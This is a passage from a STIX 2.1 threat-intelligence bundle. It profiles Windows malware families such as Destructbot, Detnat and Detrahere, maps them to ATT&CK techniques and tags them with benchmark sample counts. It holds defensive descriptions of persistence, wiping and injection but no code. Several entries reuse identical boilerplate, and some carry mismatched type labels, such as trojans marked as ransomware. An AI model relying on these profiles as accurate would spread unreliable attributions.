      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Deshacop exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--384841d5-e687-5898-935e-07aef0a65d8b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ae926d05-ec7f-5e4f-9c43-3116f983a472",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Deshacop exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--252f5aee-d30b-52c0-854c-36ba92b6c2fb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ae926d05-ec7f-5e4f-9c43-3116f983a472",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Deshacop exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a5a8335b-9dc5-5a2e-b857-f07dff6ac308",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Desktop",
      "description": "Behavior:Win32/Desktop is a specialized **Heuristic Detection** that flags unauthorized or highly suspicious modifications to the Windows desktop environment, user interface settings, or `explorer.exe` shell configurations. This behavior is commonly exhibited by ransomware (changing the wallpaper to a ransom note), scareware (locking the screen with fake police warnings), or persistent adware.<br><br><b>Understanding Desktop (UI Hijacking)</b><br>To an end-user, this behavior is immediately obvious and highly disruptive\u2014their wallpaper changes, their icons disappear, or a massive, unclosable window dominates the screen. For a security analyst, this detection indicates that malware is attempting to exert control over the user experience (`T1491`), usually for extortion or aggressive coercion.<br><br><b>Execution and Hijacking Mechanics</b><br>Malware triggers this detection by utilizing specific Windows APIs to manipulate the graphical environment. Ransomware alters the `Wallpaper` registry key (`HKCU\\Control Panel\\Desktop`) to display its demands (`T1491.001`). 'Screenlocker' malware might replace the default Windows shell (`explorer.exe`) in the registry (`HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell`) with its own malicious executable (`T1547.004`), effectively trapping the user in a full-screen application and preventing access to the taskbar or standard programs.<br><br><b>Indicators of Compromise & Impact</b><br>The impact ranges from severe annoyance (adware) to total endpoint lockout (ransomware/screenlockers). Host-based IoCs include EDR alerts for modifications to the `Winlogon` registry keys, unauthorized changes to the active wallpaper file path, or the injection of code into the `explorer.exe` process (`T1055`). Visual IoCs (the changed desktop itself) are the most immediate indicator. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Desktop",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/desktop"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bd1fa0a1-2813-5836-876e-8f69d694c2fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a5a8335b-9dc5-5a2e-b857-f07dff6ac308",
      "target_ref": "attack-pattern--781c5255-115d-5757-8797-90b90215b35c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Desktop exhibits technique T1491.001 (Defacement: Internal Defacement (Changing the wallpaper))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--94721101-d9aa-5afe-bf2a-f61447bdc809",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1547.004: Boot or Logon Autostart Execution: Winlogon Helper DLL (Shell hijacking)",
      "description": "MITRE ATT&CK Technique T1547.004 (Boot or Logon Autostart Execution: Winlogon Helper DLL (Shell hijacking)) under tactic Persistence.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1547.004",
          "url": "https://attack.mitre.org/techniques/T1547/004/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d3fc51f3-040f-5920-a82a-fce6f910ab01",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a5a8335b-9dc5-5a2e-b857-f07dff6ac308",
      "target_ref": "attack-pattern--94721101-d9aa-5afe-bf2a-f61447bdc809",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Desktop exhibits technique T1547.004 (Boot or Logon Autostart Execution: Winlogon Helper DLL (Shell hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--22bae701-e24d-5cf7-a383-e9b39653fe7b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a5a8335b-9dc5-5a2e-b857-f07dff6ac308",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Desktop exhibits technique T1055 (Process Injection (Injecting into explorer.exe))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ab475ab3-5364-530a-ae8a-b988be134365",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Destructbot",
      "description": "<h3>Executive Summary</h3>\nDestructbot is a highly aggressive classification of malware that functions as both a botnet agent and a destructive \"wiper.\" Unlike ransomware, which encrypts data for financial extortion, Destructbot's primary objective is pure sabotage: it is designed to permanently destroy data and render infected systems unbootable, often serving as a smokescreen for other malicious activities or acting as a weapon in state-sponsored cyber warfare.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nDestructbot variants are typically deployed after an attacker has already gained deep administrative access to a network, often pushed out rapidly via compromised Domain Controllers using Group Policy (GPO) or tools like PsExec to maximize destruction before defenders can react.\n\nOnce activated, Destructbot executes its sabotage routines:\n<ul>\n<li><strong>MBR/MFT Overwriting:</strong> The most critical function of Destructbot is its attempt to overwrite the Master Boot Record (MBR) or the Master File Table (MFT) of the physical hard drive. By corrupting these foundational structures, the operating system is instantly destroyed, and the machine will fail to boot (often displaying a custom ransom note or simply a black screen).</li>\n<li><strong>File Wiping:</strong> Before attacking the MBR, the malware may actively seek out and securely delete (wipe) specific file types across all mounted drives, ensuring data cannot be recovered using standard forensic tools.</li>\n<li><strong>Botnet Capabilities:</strong> Prior to initiating the destruction routine, Destructbot frequently acts as a botnet agent, allowing the C2 server to coordinate the exact timing of the \"wipe\" command across thousands of infected endpoints simultaneously.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Destructbot infection is a worst-case scenario. It results in total data loss and immediate, catastrophic operational downtime. Because the MBR is overwritten, standard incident response (like antivirus remediation) is impossible; the machines must be entirely re-imaged from bare metal.\n\n<h3>Remediation and Recovery</h3>\n<ul>\n<li><strong>Bare-Metal Recovery:</strong> Infected endpoints cannot be \"cleaned.\" They must be physically isolated, securely wiped, and re-imaged using known-good installation media.</li>\n<li><strong>Immutable Backups:</strong> Recovery relies entirely on the existence of offline, immutable backups. If the backups were connected to the network during the attack, they were likely destroyed as well.</li>\n<li><strong>Root Cause Analysis:</strong> The presence of a wiper indicates a profound failure in perimeter defenses and identity management. A massive forensic investigation must occur to determine how the attackers gained the enterprise-admin privileges required to deploy the wiper.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Wiper.Destructbot",
        "Trojan.KillDisk.Destruct",
        "Botnet.Destruct"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Destructbot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/destructbot"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7e31fd4a-348e-56b2-b994-0ea6cf30fde5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab475ab3-5364-530a-ae8a-b988be134365",
      "target_ref": "attack-pattern--a134ba16-58af-53fd-b661-d7da56740d9d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Destructbot exhibits technique T1561.001 (Disk Wipe: Disk Content Wipe)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e190f0ad-13d6-5819-8f1d-2bad818745db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab475ab3-5364-530a-ae8a-b988be134365",
      "target_ref": "attack-pattern--8ca1d648-b445-58a0-a066-7e7dfa335e84",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Destructbot exhibits technique T1561.002 (Disk Wipe: Disk Structure Wipe)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a4ae3f0e-7406-5ef7-a663-a84815432a6e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab475ab3-5364-530a-ae8a-b988be134365",
      "target_ref": "attack-pattern--a1097f7e-2aee-5bd4-ba08-a98048ff4e08",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Destructbot exhibits technique T1485 (Data Destruction)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--64380d16-f346-5248-a3da-b1b7aca78971",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab475ab3-5364-530a-ae8a-b988be134365",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Destructbot exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ff1a3788-c570-5a22-b91d-45e8e3b5529b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Desurou",
      "description": "Trojan:Win32/Desurou is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Desurou</b><br>To an end-user, a Desurou infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Desurou is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Desurou is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Desurou frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Desurou reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Desurou",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/desurou"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9e16b927-9274-5716-b858-57708f1099f2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ff1a3788-c570-5a22-b91d-45e8e3b5529b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Desurou exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ce0621dc-4795-55ed-ad42-892f0bcea402",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ff1a3788-c570-5a22-b91d-45e8e3b5529b",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Desurou exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--555ecb24-06ff-5654-b76b-e3098d4698b0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ff1a3788-c570-5a22-b91d-45e8e3b5529b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Desurou exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--08c24960-2a95-542a-a464-18ab7acf33e1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ff1a3788-c570-5a22-b91d-45e8e3b5529b",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Desurou exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3d0e2523-b523-5bd2-b4c9-832ca2b7ed38",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ff1a3788-c570-5a22-b91d-45e8e3b5529b",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Desurou exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--41807b37-4944-5689-a050-6937434fc481",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Detnat",
      "description": "Trojan:Win32/Detnat (frequently cataloged in security telemetry as Trojan:Win32/Detnat!MTB, Trojan.Detnat, or Win32/Detnat) is an evasive multi-component backdoor and crimeware loader. Utilizing behavioral evasion and anti-analysis routines, Detnat is typically deployed through trojanized software packages, cracked games, and spear-phishing campaigns. Once active, Detnat establishes a hidden registry persistence key, collects detailed system configuration telemetry, and contacts remote command-and-control infrastructure. Operating as a flexible second-stage payload delivery framework, Detnat downloads and executes secondary malicious modules\u2014including ransomware encryptors, infostealers, and remote control backdoors\u2014directly into memory. (Observed samples in benchmark: 523)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Detnat",
        "Trojan:Win32/Detnat",
        "Trojan:Win32/Detnat!MTB",
        "Trojan.Detnat",
        "Win32/Detnat",
        "Detnat Backdoor",
        "Downloader.Detnat"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Detnat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/detnat"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ab767599-56a1-56b0-8a19-0c0e977b76fd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--41807b37-4944-5689-a050-6937434fc481",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Detnat exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f077ec7e-8005-5ee0-9042-318cbf5b4471",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--41807b37-4944-5689-a050-6937434fc481",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Detnat exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--34b00916-712a-5034-9640-417361a9d4f2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--41807b37-4944-5689-a050-6937434fc481",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Detnat exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f4f25c7c-1479-5a74-b920-3d5b2da7a06a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--41807b37-4944-5689-a050-6937434fc481",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Detnat exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--83a2fbdc-39f6-5bbf-91e1-feaf589a85c0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--41807b37-4944-5689-a050-6937434fc481",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Detnat exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--febe44fd-3fa7-590c-b9ed-9e6e9c78faed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--41807b37-4944-5689-a050-6937434fc481",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Detnat exhibits technique T1106 (Native API)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--91c40626-7278-567c-a568-b130cd347f8e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Detplock",
      "description": "Trojan:Win32/Detplock is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Detplock</b><br>To an end-user, a Detplock infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Detplock is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Detplock is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Detplock frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Detplock reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Detplock",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/detplock"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ca6bc8cf-a88e-54ec-b5b0-41a6fc61cbfc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--91c40626-7278-567c-a568-b130cd347f8e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Detplock exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--30a88bc4-034f-5a27-8b2f-2ce3bf0169c4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--91c40626-7278-567c-a568-b130cd347f8e",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Detplock exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5fe25882-c678-56dc-a12f-df789973e8a8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--91c40626-7278-567c-a568-b130cd347f8e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Detplock exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2e56ac6c-2f34-508f-93ba-f09785e74637",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--91c40626-7278-567c-a568-b130cd347f8e",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Detplock exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d35b1384-028e-508c-b603-d0941fd1de98",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--91c40626-7278-567c-a568-b130cd347f8e",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Detplock exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1cce19be-2d26-55c6-8cdc-f5fc9f8b2a12",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Detrahere",
      "description": "Detrahere (cataloged across security vendors and threat intelligence databases under signatures including Trojan:Win32/Detrahere, Trojan:Win64/Detrahere.S, and Rootkit.Detrahere) is an advanced Windows multi-component trojan and kernel rootkit active since 2018. Designed for deep system persistence and stealthy network traffic manipulation, Detrahere deploys malicious kernel-mode network filtering drivers (NetFilter). The rootkit hooks low-level Windows networking APIs (WFP / TDI) to inspect, redirect, and inject malicious content into outbound HTTP/HTTPS sessions while concealing its own command-and-control communications from task managers and endpoint security scanners. Furthermore, Detrahere provides operators with persistent backdoor capabilities to execute remote commands and deploy secondary payloads. (Observed samples in benchmark: 38)",
      "is_family": true,
      "malware_types": [
        "rootkit"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Detrahere",
        "Trojan:Win64/Detrahere.S",
        "Rootkit.Detrahere",
        "Win32/Detrahere",
        "Trojan:Win32/Detrahere!rfn"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Detrahere",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/detrahere"
        }
      ],
      "labels": [
        "rootkit",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ab00f0f1-5eac-55d8-bc97-3f60df4ab081",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Detroie",
      "description": "Trojan:Win32/Detroie is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Detroie</b><br>To an end-user, a Detroie infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Detroie is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Detroie is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Detroie frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Detroie reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Detroie",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/detroie"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5dac26f3-9e6b-5c72-b07a-74f60f36e13d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab00f0f1-5eac-55d8-bc97-3f60df4ab081",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Detroie exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
